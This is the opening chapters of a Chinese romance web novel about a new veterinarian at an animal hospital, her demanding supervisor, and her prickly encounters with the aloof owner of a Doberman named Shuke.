《别躲,你耳朵红了》
1. 第 1 章
“滴滴滴!”
津市东三环的早高峰,真不是盖得。
铺天盖地全是车,公交车、私家车、电动车交织在一起,糨糊一样搅不开。笑死啦,是谁说小电驴跑得快,这明明跟走路差不多的速度。
美妙戴着粉红头盔看着红灯,一脚支地,一脚踩踏板,混在电动车大军里,一边压抑着好似被猫爪不停抓挠的心,一边琢磨着明天必须换条路走。就这样原本十几分钟的路程,硬是挪了半小时,才到医院。
她把小电驴停在后楼破旧的停车棚,取下头盔,对着后视镜左看右看,昨晚脑门上睡翘的几缕耸上天的头发,已经压下去了。
于是抓起包,上二楼,深深吸了口气,这才推开了邹文昌办公室的大白门。
“老师?”她嬉笑着。
里头邹文昌正看片子,一个长得像六十五,实际才四十五的古板老头,闻声眼皮都没抬一下,一手指门,“出去!”
美妙一缩脖子惊觉失礼,这是在学校里喊惯了,真是没规矩没规矩,自己悻悻然退了出去。重新关上门,这次轻轻敲两下,等听到里头应门。
这才推开门,站门口毕恭毕敬道:“主任好,我来报到。”
邹文昌这才转脸看她,有点不耐烦,“把门关上。”
“好嘞。”美妙老老实实去关门。
邹文昌缓了缓神色,低声教训她:“这里不是学校,我不会对你特殊关照,你自己心里要有数。”
美妙嗯了声,抬着头很认真,“主任您放心,我绝不给您丢脸。”
邹文昌是她老师,研究生时期带了她两年。同时也是动物诊疗界的名人,人称行走的教科书,肿瘤界大拿。
邹文昌对这回答还算满意,问起正事:“报到还挺积极,考试报名没?”
美妙点点头,“嗯,您的话我能不听吗?”然后就开始卖惨,杵着张脸,“我昨晚开始跟课了,您瞧我这黑眼圈。”
邹文昌懒得搭理,推了下眼镜说:“专业国际认证可不好拿,只适合特别努力、特别专注的人。”
“知道,我不仅努力,我还特——”她没敢提聪明,“特别认真。”
邹文昌搭她一眼,没话了。
美妙:“……”
涩涩地抿了抿嘴。
因着主任是自己老师,她向来想问什么直接问。
可这会儿怎么也张不开口,自昨晚听到消息,她今天便赶着来报到,路上打好的腹稿在心里滚动几个来回,她鼓鼓精神,看了眼主任,感觉他比进门那会温和多了,状似不经意地问:“老师,听说师兄回国了?”
邹文昌盯着片子,“谁说的?”
美妙一呆,喃喃了一句,“同学呗。”
“你管别人做什么,管好自己的事就行了。”邹文昌淡淡瞥她一眼。
就这一句,所有的心绪瞬间都被拍到外太空去了,美妙心一沉:“知道了。”
接着又听邹文昌说:“杨凡也分到我这了。”
美妙一抬头:“啊?”
“啊什么?”邹文昌紧跟着一记眼刀飞过来。
他缓了缓,语重心长地提点她:“杨凡人挺聪明,资质也不错,院里将来肯定是要重点培养的。”
美妙:“……”简直无语。
主任的意思是人在屋檐下不得不低头,更何况人家以后很有可能混成领导层,那更得……以前在学校大家都不敢跟他计较,这下好了,到人家地头来了,咱更得夹着尾巴做人。
她不说话了。
邹文昌从椅子上站起来,“走,跟我下去。”
美妙心生警惕,连连后退:“老师…我还得去人事部报到呢。”
今天报到,明天才正式上班,今天该不会还安排她干苦力吧,之前天天给住院部刷笼子,刷完笼子做护理,做完护理才能跟诊,跟诊完还得做化验,她连手术室的大门都没摸着,两只手先秃噜皮了。
邹文昌不理她,边说边往外走,“仓鼠肿瘤切除,那这个机会我只能让给杨凡了。”
啊!这是要给主刀吗?!
美妙愣了一秒,一串小碎步跟上去,“仓鼠呀那太小,就杨凡那双大手不好操作。我来我来。”
邹文昌马上给她泼冷水:“想的美,站边上看着!”
美妙:“……”
心说果然天上不会掉馅饼,就算掉也砸不着她。
但仔细一想,像老邹这种外表高冷内里低调的老学究,怎么可能为她破例开绿灯呢。自己真是想太多了,况且这不是拿仓鼠的小性命开玩笑吗。
邹文昌扭脸看她,语气有所松动:“一会最多让你缝合,练练手感。”
“真的吗?“美妙瞬间打满鸡血,眼神明亮,“好呀好呀,我这就去准备。”
邹文昌不耐烦地摆摆手,示意手术室在一楼。
这美妙还能不知道吗,实习期只要有机会就跑来摸一摸门板的地方。她初来乍到,不得先去找人事讨名份吗?不然空口白牙,素衣没帽,谁会理她。
美妙多少有点厚脸皮,人事部领完证件出来,换好衣服,凭着一张生脸摸到了一层接诊大厅,好奇心驱使,一间间诊疗室观摩过去。
一只大肥猫戴着大墨镜,乖乖躺在护士小姐姐怀里,正在做镭射理疗。
好家伙!这间有只火烈鸟,脖子又细又长,也带着墨镜。
这间呢,哇哦…桌上孤零零躺只大白鹅,不知啥毛病。
动物们也吃五谷杂粮,哪有不生病的呢。
美妙这会儿,正贴着门玻璃看得思绪万千,冷不防被人拍了一下:“美妙?”
她被吓一跳,缩着肩膀回头,等看清来人,压了压火气:“你属猫啊,走路没声?”
杨凡嘶一声,就刚刚主任说的将来要升管理层的那位,他理一理刚换的白大褂。
慢悠悠地问她:“怎么样,挺像样吧?”
美妙瞅他一眼,叹了一口气,反问他:“你欠我那二十八个笼子,打算什么时候还?”
杨凡正正胸牌,也学她往诊疗室瞅,对着玻璃道:“慢慢还呗,以后你有事我也帮你。”
切。
美妙在心里翻个白眼,又想着刚才好不容易开口问师兄的消息,主任居然不搭理,小猫挠心般难受,不想搭理他。
真是想曹操曹操到,正埋怨着邹文昌,他就刚好从楼上下来,见俩学生杵在一块,大步从旁边过去:“这边。”
美妙没时间发蒙,乖乖跟上。
杨凡在后,不紧不慢。
等一切准备就绪,邹文昌打头,三人鱼贯进去。
2号手术间顶灯投下冷光。
不锈钢微型器械排列整齐,钳子、剪刀、缝合针寂静无声,中央手术垫上躺着仓鼠病人,绿布遮盖,只露出一小团皮肤。
无影灯光照很强,美妙能隐约看到皮下的细小血管,仓鼠的皮肤非常薄,一种半透明的粉白色。
邹文昌戴着放大镜落刀,一助在旁边打下手。
邹文昌不愧是大拿,手法利落一气呵成,仅仅用了十来分钟,一颗汤圆大小的脂肪瘤被取了出来,美妙眼也不眨地看着,不一会儿,只见大拿移开手,镜片后的一双鹰眼越过跃跃欲试的美妙,落到了杨凡身上:“你来试试?”
美妙:“……?”
刚刚说好的给我机会呢,贵为主任居然也骗人,给新人画大饼。
监护仪连着细小的电极,滴答作响,空气极安静。
杨凡知道院里上下肯定关照他,但没想这么快还没心理准备,一时犹豫之下,不知道怎么办,他楞了几秒,才勉强挪过去,犹犹豫豫下不去手。
美妙瞄他一眼,小样儿。
手术间的人低着头互相看看,没人敢说话。
又等了一会。
邹文昌忽然丢下手术刀,一副恨铁不成钢的样子,看也没看他,“美妙来。”
好嘞。
就等您一句话。
美妙两步过去,挤走杨凡,先看了眼台边众人,说众人有点夸张,反正就是手术室所有人。
她面上虽然看着镇定,但内心不免忐忑。
这可是第一次毕业实战,容不得丁点马虎。她按照所学,先脑子里过了一遍,然后小心地拿起镊子,轻轻对合伤口,右手持
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针钳,夹着一枚比睫毛还细的弯针,精确刺入皮下组织,每完成一针,她便手腕轻巧地一绕,张力适中,打下一个微小的结。如此重复,直到线结被剪断,才感觉手心有汗。
最后,她蘸着抗生素轻柔地涂抹在缝合处,一串针脚微不可见,心说康复之后应该不会留疤,不会影响仓鼠老兄找对象。
这时邹文昌拿起水杯,从后面过来看了一眼:“包扎吧。”
虽不情愿。
但美妙还是十分有眼力见地喊了杨凡,“你来吧。”主任已经已经很照顾她了,她也不能让主任为难。
她默默退到邹文昌身边,一边看杨凡包扎,一边瞄着主任,想从后者的一双鹰眼里挖点评价出来,最好是夸奖,毕竟第一次实战嘛。
但邹文昌始终一脸严肃,一言不发。
美妙笑了笑,心想刚才的表现应该还行,至少没挨骂。
哪知杨凡那边刚一收尾,旁边主任一拧杯盖,朝她丢了一句:“速度太慢,蜗牛都比你缝得快!”说完就往门口走。
美妙身子一僵。
等主任一出去。
整间手术室的人嗖一下全都扭头,齐刷刷地看向新来的住院医师,小小个,浅蓝色手术服,头上戴着蓝底粉猫爪的花边手术帽,一张巴掌脸,口罩上一双眼睛忽闪忽闪,黑白眼珠界限分明,莫名看着好玩,又闪着一股倔强。
大家哈哈哈哈。
顿时爆发一阵哄笑。
美妙有点心虚,有点尴尬,有点好笑地扬了扬眉:“怎么啦?”
往常不苟言笑的麻醉师也被逗笑,他认真看了一会儿美妙,已经很久没见过这么清澈机灵的小医生了。
旁边机械护士说:“美医生,你是第一个下台后,敢和主任站在一起的人。”说完又开始偷笑。
是吗?
也不管人家笑她。
美妙倒觉得无所谓,问这些还不是很熟悉的面孔:“主任有那么可怕嘛?”
这下手术室所有人,包括杨凡也抬起头,异口同声地说:“有!”
美妙:“……”
“今天舒克是不是出院?”
邹文昌忽然去而复返,离门口最近的美妙刚来不知道,邹文昌也没问她,看的其他人,刚刚笑最欢的手术一助,慌忙收回嘴角,正容正色:“是主任,手续已经办完了。”
邹文昌听后转脸对着美妙,吩咐了一句:“今天就你闲着,下午把舒克送回去。”
美妙:“哈?”
舒克是谁,送哪?医院什么时候开展了新业务,还要医生亲自护送病人回家了,美妙不明所以,眉毛快拧成麻花。
邹文昌却不管,吩咐完转身走了。
这时护士神神秘秘地说:“美医生,你刚来不知道,舒克是咱们医院的VVVIP病人。”她又强调了一句,“还是主任亲自做的手术。”
“啥手术,切肿瘤?”
“不是——是切蛋蛋。”有人谑了句,“主任年轻时是业界有名的拆弹专家,这回院长点名让他拆走了舒克的宝贝。”
这帮人还真不把她当外人。
“那…那这也不是什么大病…”用得着出动医师护送么,她语气有点不自然。
“那就不知道了。”护士摊摊手,说完继续忙了。
美妙默默嘀咕一句,怎么又让我干苦力。
这时杨凡得意地看她一眼,献宝似地捧着仓鼠回病房,从旁经过。
美妙不忘瞧一眼那包扎手艺,啧啧啧,这只可怜的仓鼠看起来像是穿了一件战损小背心,一点不好看。
这个邹老头,“pua”她不说,连分到的工位也不咋地。
面对着一堵墙不说,犄角旮旯,又破又小,她找来抹布擦去一层厚灰,打扫好勉强入住,又去人事部领了电脑,去食堂吃了饭。
忙活到下午两点,踩着点,到达犬住院部门口。
她刷开门禁,轻轻的朝里张望,“请问哪位小朋友是舒克呀?”
话音未落。
正在午休的病人们忽然集体一震,此起彼伏的狗叫声,瞬间冲破天花板,连脚下地砖都在震。
2. 第 2 章
美妙忙拿手塞住耳朵,硬着头皮从门口一笼一笼找过去。
“哪位是舒克呀?”
“舒克?”
“舒克?!”
不是没人理她。
而是所有狗狗都理她。
黑的白的,大的小的,长毛的短毛的。
就像龙卷风突袭,刮过玉米地,所有的玉米棒子都在朝她招手。
十七号笼子,就属这只比格嚎得最凶,美妙的天灵盖,一阵一阵晕眩。
只得先逃出去,刚才见护士忙,本想着自己先进来找找,实属大意了。管床护士听到动静赶忙过来,一见到生面孔先楞了楞,美妙忙自报家门,然后说了主任的安排。
这次护士打头,美妙跟着。
狗叫声依旧,此起彼伏,但音量明显降了下来,看来还是得熟悉的气味来才行,护士熟门熟路的走到房尾一层,核对卡片,打开其中一只笼子,喊了一声:“舒克。”
一只乌黑油亮的大狗钻了出来,肩高明显超过半米。
美妙赶紧后退半步,给它留出空间,“这么大一只。”
护士笑笑,随后将牵引绳和出院资料都交给她:“别看块头大,住院这些天属它最乖,从来不吼人。”
美妙将信将疑,收下东西看一眼大黑狗,试探性轻唤一声:“舒克?”
一时间四目相对,那汪清澈的眼神望向她,杏仁形状的眼眶湿漉漉的,有点温柔,又带着一种沉静的专注。目测是好狗。
“行,那我带走了。”
欸不对呀,美妙刚带着走出去两步,又转头问护士:“那医院不给我们派车吗?”既然是vvvip客户在,总得有点派头吧。
护士:“主任说你有踏板。”
美妙一呆,“啊?”她指着大块头,“让我带着它坐电动车吗?”
护士点头:“舒克不喜欢闷着,最喜欢骑车兜风。”
我晕,美妙看着手机上的导航地址,原来大户人家的狗喜欢两轮呀!
怪不得让她来送,这她来医院上个班还没挣到钱,医院反而征用自己的小电驴,她很想找人问问给不给报销交通费。
“它它它,能装的下吗?”美妙比划着舒克的尺寸,有点为难。
“能,我们经常溜它。”护士很肯定。
舒克倒是很乖。
亦步亦趋身侧跟着,也不乱叫,也不乱跑,只偶尔警惕地望望,支着一对裁立大耳,威风凛凛。
都说杜宾是狗界吴彦祖,虽然外表霸道好看,但通常被归类为烈性犬,有些地方是禁养犬类,为了稳妥起见,美妙还是先给它闻闻拳头,之后伸手试探性地摸摸它下巴,如此互相熟悉了一番,这才带到了车棚。
好吧。
美医生送你回家。
等到了停车棚,舒克见到电动车明显兴奋些。
美妙先挪出车,然后坐上去,拍一拍车把:“上来,舒克。”
舒克嗖一下跳上踏板,熟练地调整姿势,像一尊线条利落的雕塑,端正坐好。
美妙惊讶之余,不忘给个鼓励:“好狗。”
下午的东三环终于没那么拥挤,大家各行其道,秩序井然。本来以为报个到就回家,所以昨天没充电,这会看着电力不多,好在舒克家不远,慢慢溜达不久便到了。
美妙这才发现寸土寸金之地,还能藏着一处别墅区。
她跟着导航找到绿树掩映的小区入口,刚要进去,没想到却被保安拦在门外。
美妙载着狗:“为什么不让进去?”
保安的手从窗口伸出来,指向稍远处。
她跟着望过去,只见路中间立着一张牌子,上面几个大字:外来车辆,禁止入内。
好吧。
电动车也是车。
美妙只好给主人挂电话,等了一会电话接通,无人接听。
又打了一遍,还是没人接。
耐住性子又等了十分钟——
无人接听!
又几分钟过去,美妙耐心逐渐告罄。
她低头跟狗唠叨:“我说舒克,你主人是不是不要你了?”
舒克歪着脑袋盯着她,两眼水汪汪,压根没听懂。
美妙挠挠脖子。
语气不自觉坏起来:“什么人哪,自己家狗都懒得接,让人送不说,自己还不操心出来接。”她重重吐了一口气。
舒克轻咛一声,眨巴着眼盯着美妙,竟然一副做错事的可怜相。
“哎呀,没说你没说你。”美妙忙摸了摸狗头,“美医生没有说你呀,舒克是好狗。”
狗跟人一样,能听懂好赖话,听见夸奖立马恢复霸总本色,竖着耳朵正襟危坐。
正郁闷呢。
搁在车筐里的手机终于响了。
“有只小蜜蜂张开嘴巴beebeebeebeebee
麻烦你快点接小蜜蜂的电话——”
美妙一把接起来:“我说……”她使劲压压小火苗,音色扁平,“您好,我是医科大学动物医院的,舒克给您送回来了,麻烦现在到门卫接一下。”
彼端一声沉静的嗓音,没情绪,冷冷淡淡,很凉:“直接进来吧,8-102。”
美妙:“喂…?”
“喂?!”
啊就这?她还没反应过来呢,那边说完先挂了。
美妙张着嘴,对着被掐断的电话,吐槽的话全噎在嘴里,反应一会儿,她无奈地呵呵两声。也罢,谁让顾客是上帝呢,她后知后觉摸了摸胳膊上起的冰鸡皮。这回锁好车,牵上舒克,又一次来到门卫室。
“麻烦你开下门,我要进去,已经联系好了。”
“好,你登记一下。”
小哥刚把登记本递出来,一下被舒克吸引,“这不是梁总家的舒克吗?”
美妙拿过笔:“嗯,就是舒克。”
原来姓梁啊,真是缺什么姓什么,确实挺没良心的。
保安又把登记本收回去,换上笑脸,“舒克不用登记。你不早说你是梁总家新来的保姆,早说的话,我早让你进去了。”站起来逗舒克,“舒克真帅!”
“谁跟你说我是他们家保姆啦?”美妙本来就憋着气,这下火被勾起来,收了绳不让看,“谁跟你说我是他们家保姆?”
她脑袋直冒烟,就是哪天改行当保姆,高低也得绕着这家走啊。
“哎呀不好意思,不好意思,主要是他们家总换家政,我误会了。”
美妙黑着脸,一边牵舒克,一边往里走,“到底往哪边走?”
保安指了个方向,麻溜开了门禁。
这时,旁边机动车道闸自动升起,由小区内部驶出一辆黑色保姆车,一直安静呆着的舒克忽然追过去,美妙受力,忙拉紧绳子,给它纠正方向:“舒克,这边!”
小区内部树冠如盖,光影斑驳,美妙带着舒克绕过景观水池,曲径的小路两侧是修剪得圆润的冬青球,目之所及,无一不是精心打理过的痕迹。
美妙边走边嘀咕,“舒克,这个姓梁的是你家长吗,平常是不是对你不好,待你不亲呀?”扭脸问
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,“嗯?舒克。”
舒克却不理她。
前一秒还迈着流畅、武威的步伐,瞬间化作一台突然启动、马力全开的马达,猛地往前冲,发出短促又喜悦的呜咽声,像是激动的喘息,又像是等不及的催促。
美妙差点没站住,身体后仰,被拉着冲向小路的尽头。
“慢点,慢点!”
等她赶过去,舒克却停在原地不走了。
美妙一看门牌:“原来是你家到了呀。”
面前是一栋两层别墅,灰瓦倾斜,线条横平竖直,透着一股简洁的现代感,甚至有点冷淡的冰凉感。
美妙垫了下脚,隐约看到院里的一株墨绿色的橄榄树,她抬手,手指触到冰凉光滑的黑色门铃。
舒克却扯了她一下。
“舒克坐!”
她抬手,又要去按。
下一秒。
黑色金属大门忽然向内打开。
一道高挺的身影堵在门口,光线被他截断。
一团阴影无声投下,将门口一片地砖和按铃人的脚尖完全罩住,美妙下意识后退半步,因为海拔差距过大,她又后退半步,抬头,对上一双及其冷漠的眼睛。
身高的缘故,袁婧只能仰头瞥他,男人白衬衫傍身,没说话,只淡淡看着她,美妙怔愣一瞬想到正事,联想到刚刚通电话的感觉,略略拔高了声音,说:“我是动物医院的,来送——”
话未说话,脚边的舒克腾一下从地上弹起,原本悠闲摆动的尾巴,变成了一把高速小飞棍,围着男人的腿,嘴里呜咽着、用它坚实的肩膀腹部磨蹭,恨不得把全部气味都蹭到人身上。
一只骨节分明的手落下来,没有直接抚摸舒克头顶,而是精准地找到了它耳后那片凹陷处,揉了揉。
看来真是你家长。
美妙顺势将牵引绳和出院资料一并递过去,“这是你家舒克的。”
男人直起身伸手去接,手刚伸出来,人就毫无预兆地,忽然顺着大门往下滑。
“喂!”美妙忙上前去扶,发现扶不住,只能用肩死命地扛,抽出一只手拍他,“喂!你醒醒。”
男人没反应。
哎呀管不了那么多了,美妙只得硬生生扛住,缓缓将男人重心放低,将人放倒平卧,然后仔细了一番,还好还好,气道畅通、呼吸脉搏都在。
她暂时松一口气,自己虽然是兽医,但一通百通,并不慌。
想也没想就解开了男人衬衫,又用自己的背包把病号的双脚垫高,就这么一通操作,没两分钟,地上躺的人就慢慢醒了过来。
“你能听到我说话吗?”美妙跪地上观察,舒克在一旁直哼哼,想扒拉主人,她拦它,“喂!”
男人眼神聚了聚焦,疏离的眼尾忽然一收,看样子是想坐起来,但他稍有动作,便被美妙按了回去:“别动!”
男人还想起来,美妙这次直接用胳膊肘抵住他下巴,她嘶一声,盯着他:“跟你说了别动。”晕厥的人太快起來,容易再晕厥,这是常识。
又等了约莫三分钟。
美妙感觉应该没大碍了,这才移走胳膊,转头问他:“要不要帮你叫120?”
“不用。”对方立刻坐起来,语气干脆,甚至带点驱赶的意味。
一边舒克急得嗷嗷叫,美妙控制不住只得松手,牵引绳一放,大黑狗舒克立刻投入主人的怀抱,又舔又亲嘤嘤嘤,一副好大儿的亲热样。
男人摸了摸狗头,单手撑地站起来,面无表情看着她,淡淡吐了两个字:“不送。”
3. 第 3 章
哈?!
美妙简直不敢相信自己的耳朵,这人…这人怎么这么没礼貌,谢谢两个字被狗吃了?她咽了咽口水,劝自己不要跟这种人生气,吸了口气,出于职业素养,“不过作为医生我还是建议你到医院检查一下。”
话音刚落,兜里的手机噼里啪啦响起来。
她掏出接起来,余光瞥了眼廊下,嗯嗯应了两声,然后捡起双肩包,对着那头说:“我马上回去。”
梁时言微微侧眸,发现人走了,他偏过头冷淡地瞥了大门一眼,这才抬手摸了摸生疼的下巴,扯下衣领,余光又瞥见衣襟大开,落了一层灰指印,索性一颗一颗向下解,将衬衫从肩头剥下。
“舒克。”他喊了句。
然后转身朝房间走去,光着上半身,只剩一条西裤,肩背轮廓平直,像山脊裁出的剪影,肩胛骨清晰,流畅而结实,每走一步,都牵起皮肤下蓄着力量的薄肌,流畅有力。
打完电话,美妙下意识地回头,撇了一眼冷硬的黑色大门。
他是因为长得好,才能活到现在没被打死吧!
她啧一声,感慨地骑上小电驴,然后头也没回地往回走,科室刚刚通知她回去开会,说几个科室有会诊。
麻溜回到医院,没敢回办公室上厕所,先问清楚哪个会议室,等赶过去,发现前后门紧闭,会诊已经开始了,她凝神细听了一会,分出哪边是头,那边是尾,打算从后门溜进去。
手刚刚摸到门把手,就听到里头一道熟悉的嗓音,“美妙呢,怎么送个病号去那么久?”
她头皮一紧,“对不起,我来晚了。”一进去就对上主任的一双鹰眼,麻溜找到边上的空位坐下,满会议室的人都看着她,不敢辩解。
幸好回得还算及时,邹文昌没继续发难,转头吩咐会议开始。
美妙一边听前排大佬们发言,抽空鄙视了一番“没梁心”,叹一口气,第一天上班的心情着实不是很愉快。她心情不爽的时候,有解压妙招,于是习惯性地去摸包,摸半天没摸着。
一脸懵地低着头,我挂架呢?
她双肩包外面有一只挂件,毛绒绒软乎乎,捏起来手感很好。
脑袋正发懵呢,忽然有人喊她:“美妙,你站起来。”
学生走神被老师抓包,美妙反应两秒,腾地站起来,眼睛直直不敢乱看。
邹文昌:“刚才你听了吗,你说说这个病例,到底做不做细胞学穿刺?”
“嗯……”她大脑高速运转,快速回忆着刚才的讨论内容,结合所学案例,“嗯,它这个位置——”
慢慢腾腾。
邹文昌嫌她磨磨唧唧浪费时间,随手指了前排同事:“你说说看。”
美妙:“我……”
她有点不甘心,站着没坐,等前面的同事回答完毕,又小小地举了下爪子,问了句:“主任,我能重说吗?”
旁边杨凡噗嗤一下笑出声。
她还是举着手,坚持道:“我能补充吗?”
“你以为陪你过家家呢。“邹文昌没给好脸色,黑着脸,“坐下!”
美妙只好落座,耳朵边哄哄哄都是闷笑。
旁边杨凡的脸几乎忍到变形,想笑不敢笑只能假装咳嗽,低着头捏住大腿。
美妙瞅他一眼,见怪不怪。
以前有同学也这么笑她。
从会议室出来,影像科主任跟邹文昌闲聊,“刚才那个新来的小医生挺有意思的,听说这批来的人里面专业第一,看来你后继有人啦。”邹文昌看眼身后,一帮小年轻早从后头跑光了,他叹口气,“资质平平。”
影像主任笑着摇头,邹大拿哪都好,就是嘴上不饶人。
资质平平美医生,上班第一天就在医院会诊出了名,回到办公室,大家对她挺热情,她却提不起劲,一个人坐在电脑前苦思冥想,实在回忆不起来,挂件到底掉哪儿了?
那只蓝色小象,在她包上挂了两年。
是师兄送的。
“怎么啦美医生,心情不好吗?”没完没了,还沉浸在会议室的趣味中。
美妙闻言扭头,“你怎么坐我后边啦?”
“怎么,不行吗?”杨凡挑眉看着她,笑得很缺德。
刚才一起做手术的护士进来找人,看见美妙,随口问她:“美医生,今天到舒克家豪宅,感觉怎么样?”
“嗯…”她皱了下眉头,“我没进去,把舒克送到门口就走了。”
“是嘛?”小护士满脸失望,顿了顿,眼睛又一亮:“听说舒克家长帅得掉渣,你见到没?”
美妙口气不自觉坏起来,“不知道是不是,但我见到的人很普通。”越想越来气,补了句,“挺丑的。”
“是吗——”小护士不可思议地摇摇头,似乎很失望,随即发现杨凡,“诶杨医生,我这有能量棒你吃不吃?”
美妙抠了抠键盘,心说这年头真是长得帅的刷脸,有权的还能刷脸,可真是为所欲为,她回头瞄一眼杨凡,能量棒啃挺欢。
杨凡也扭头看着她,贱兮兮地问:“吃嘛?”
美妙嘴巴张着没出声,敷衍地看着他,只浅浅做个了口型。
杨凡手一顿:“啥?”
美妙扭回头,边开电脑边不紧不慢地念叨:“吃吧吃吧。”
最好噎死你。
台式机晃晃悠悠地启动,三分钟后还在加载,这一看就是老油条。旁边的手机叮咚作响,美妙拿起来看,发现自己被拉入各种工作群,一时间消息铺天盖地。
好朋友发来的语言,瞬间就被消息大军吞没了。
晚上下班后,美妙才处理到她的微信。
陈佳佳不怀好意的声音响在耳边:头天上班感觉如何,有没桃花朝你招手呀?
美妙边走边回:“我告诉你,本人现在的唯一目标,就是成为一名优秀的宠物医生。”说完又按下录音键:“其他的免谈。”
“咻——”点击发送。
天边最后一缕霞光坠入地平线,渐渐浓成了蓝紫色,没有鸟飞,也没有风,只是天色一层一层暗下去,车棚底下要打开手电才看得清,美妙拿着手机来回找了几遍,每个角落都没放过,她心凉过半,收了手机,带上头盔,回了家。
幸福里社区十二栋旧楼错落而立,外墙粗粝笨重墙皮剥落,爬着经年水渍和修补过的痕迹,各家自封的窗户五花八门,空调外机歪七八扭,有几家阳台栏杆上还晒着被子,天黑了还没收,但每个楼栋都飘着饭香。
“吃饭没?”沈文芳刚要收拾碗筷,见女儿回来,“不是说去报道吗,怎么这么晚?”
美妙换上拖鞋,“忙呗,就留下了。”
客厅没见老美同志,问老妈:“我爸呢?”
“你爸出去遛弯儿了,我给你把菜热热。”沈文芳说着就要端饭菜回厨房加热。
“
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不用,您不是刚吃完。”美妙没那么讲究,有口吃就成了,她无精打采吃完饭,回屋去了。
老美一回来就看到女儿的鞋,没见人,就问说:“妙妙呢?”
看电视的沈文芳正在找新相亲大会:“别进去,她正上课呢,不是说考什么试。”
美景山哦了声,背着手走到女儿卧室门口,见女儿小乌龟一样仰面躺在床上,桌上的笔记本亮着,他摸了摸口袋,轻轻喊了声:“妙妙?”
美妙一个咕噜翻过来,“爸爸。”
美景山忙做了个手势,示意美妙不要出声,悄悄从口袋里掏出一包东西,放在了门口柜子上,然后打了一个眼色。
美妙瞬间会意,爷俩相视一笑,美景山轻轻关了门,面无表情的回到了客厅。
美妙从床上跳下来,隔着包装袋贴鼻子一闻,瞬间神清气爽,胡同口的淀粉肠、后街的酱香鱿鱼,都是这一片爱吃的。
“行,”她满意地剥开一层层袋子,看来为了躲避沈文芳的尖鼻子,老爸着实花了一番心思,“吃点垃圾食品怎么了,咱不是也在盘活经济嘛。”
说完先咬了口淀粉肠——真香!
趁着上课前,美妙哼着小曲出来找水喝,看到美景山坐在餐桌前,先递了一个眼色,然后装模作样地问:“呦,您又从哪淘来的?”
美景山演技不错,拿着放大镜对准铜元,“昨天出去溜达,夜市小摊上捡漏。”
美妙倒没好意思戳穿,边走边说,“那您好好看看,没准是个大宝贝,能给咱家换套大别墅呢。”
看电视的沈文芳不想搭理丈夫,每个月那点零花钱全拿来买破烂了,她问女儿:“妙妙,给你姐的钱汇出去了吗?”
美妙从厨房出来,手里多只苹果,“嗯,汇了。”说完回屋上课去了。
美景山停下手,见房门关了,轻声问妻子:“你说咱们给老大汇钱,妙妙不会不高兴吧?”
沈文芳没感觉,她给丈夫摆道理:“老大打小就大手大脚,况且在国外人生地不熟的,不比妙妙在国内,花钱的地方多了,”对着机顶盒调台,“不会。”
美景山顿了顿,有点埋怨的口气,“那当初升学宴也没给妙妙办。”
老大当初考上研究生,家里请了亲朋好友街坊四邻,到饭店热闹了一番。
那都是两年前的事,如今美妙研究生已经毕业,再说当时提了呀,美妙自己说不用,老两口就没坚持。
沈文芳:“那不是她自己说不如老大考的学校好,不想办。”
美景山似乎还想接话,张张口没了下文。
翌日一早。
美妙提前起床,她不信这回还能堵车不成,所以早早准备好包,提前放到门口。
美景山买豆浆回来,“今天怎么这么早?”
美妙穿好鞋,搓搓手接包子,“包子啥馅儿?”被美景山敲了脑袋,“你爱吃的,洗手去。”
他留意到鞋柜上光秃秃的包,明显缺了一样东西,问她:“你包上的挂件呢?”
女儿双肩包上的小象已经挂了两年,很宝贝。
“丢了,昨天不知道丢哪去了,到处找都找不到。”
“你昨天出门不还在吗,没掉在医院吗,你昨天去哪里了?”
“没,我到处找了,医院家里,我——”美妙灵光一闪,“我昨天。”
她忽然抓起背包:“爸我先走啦!”
4. 第 4 章
美景山见女儿一阵风似的刮出门:“你不吃早饭啦?”
美妙早拐了弯。
清晨的风从楼道吹进来:“不吃啦!”
美妙一路畅通骑到东三环,找出之前搜过的地址,这次不用导航,再一次来到别墅区,沿着之前送舒克的路,顺利到达门卫室。
时隔不到一天,还是那个门卫小哥,他还记得美妙:“来接舒克?”
“接什么,我又不是他们家保姆。”美妙说她来找东西。
那小哥噢了声,就说那应该不好找,整个小区就属这家爱干净,听说院子里每天都要专人打理,有一根杂草都不行。
“是吗?”美妙在心里打了个问号。
她也管不了那么多,就催促他:“那你快把登记本给我,我还找昨天那家。”
没想到小哥没让登记,直接放行。
这世界还是好人多呀。
美妙一边道谢,一边加电,片刻后就到达了目的地。
她减速停稳,看了看漆黑冷硬的院门,昨天拿包给“没梁心”垫脚,肯定那时候搞掉了,又走的匆忙,没留意,除了这里,没别的可能。
想着,她断电下车,抬手就去按门铃,手刚放上去,还没按,门忽然从内打开。
还是那张冰块脸。
美妙愣了下,后退半步,仰脸,对上一双清淡幽深的眼睛,很有气势地说:“是这样,我昨天在这里掉了东西,现在来找。”
梁时言没想到会再次碰到这个小钢炮。
他明显楞了楞,侧身让出空间,淡淡道:“自己找。”
自己找就自己找,美妙懒地看他,也不走远,硬是蹭着他衣角,大喇喇地进了门。
院子里果然像门卫小哥说的,昨天躺过的地面干干净净,别说显眼的小象挂件了,这会儿更是连一片草叶都没,美妙下意识看了眼远处廊下,昨天那里碎了只烟灰缸,这会儿空荡荡一片,两把椅子也不见了。
她叹口气,心灰意冷。
转回身,报着最后一丝希望,面无表情地问他:“这里是不是打扫过,垃圾扔了吗?”
梁时言闻言,抬了抬下巴。
美妙顺着看过去,墙边种着一株油橄榄,一只垃圾桶就放在边上,没犹豫,她径直走过去。
妈的,超高超大一只垃圾桶。
她垫着脚才勉强看到里面,伸着脖子仔细探,里头盖了一层干树叶不少杂草,还有零零碎碎的厚玻璃碎片,桶壁太深看不清,她想找点工具扒拉,扭头左右找了找,周围一样合适的工具。
“找到没,我可没闲工夫陪你翻垃圾。”梁时言一身正装站在原地,接他的车已经来了。
美妙闻言,狠狠瞪他,真是气不打一出来,自己真是吃饱撑了救他,她没说话,虽然心里这样想,手上的动作却快了。
她尽力弯着腰,伸手扒拉树叶,忽然心中一喜,终于在一角看到丁点蓝色,于是尽力伸长胳膊去够,没留神底下,等“嘶“一声收回手时,右手食指已划出一道血痕,血汩汩地往外冒。她也不在意,甩甩手,准备再捞。
“起开。”
还没弄清情况,她就被一股力道薅开,“没梁心”不知道啥时候过来了,他目光落进垃圾桶,不耐烦问,“在哪?”
美妙偏头剜他一眼,咬咬牙根,用下巴指給他看:“左边,那个蓝色小挂件。”
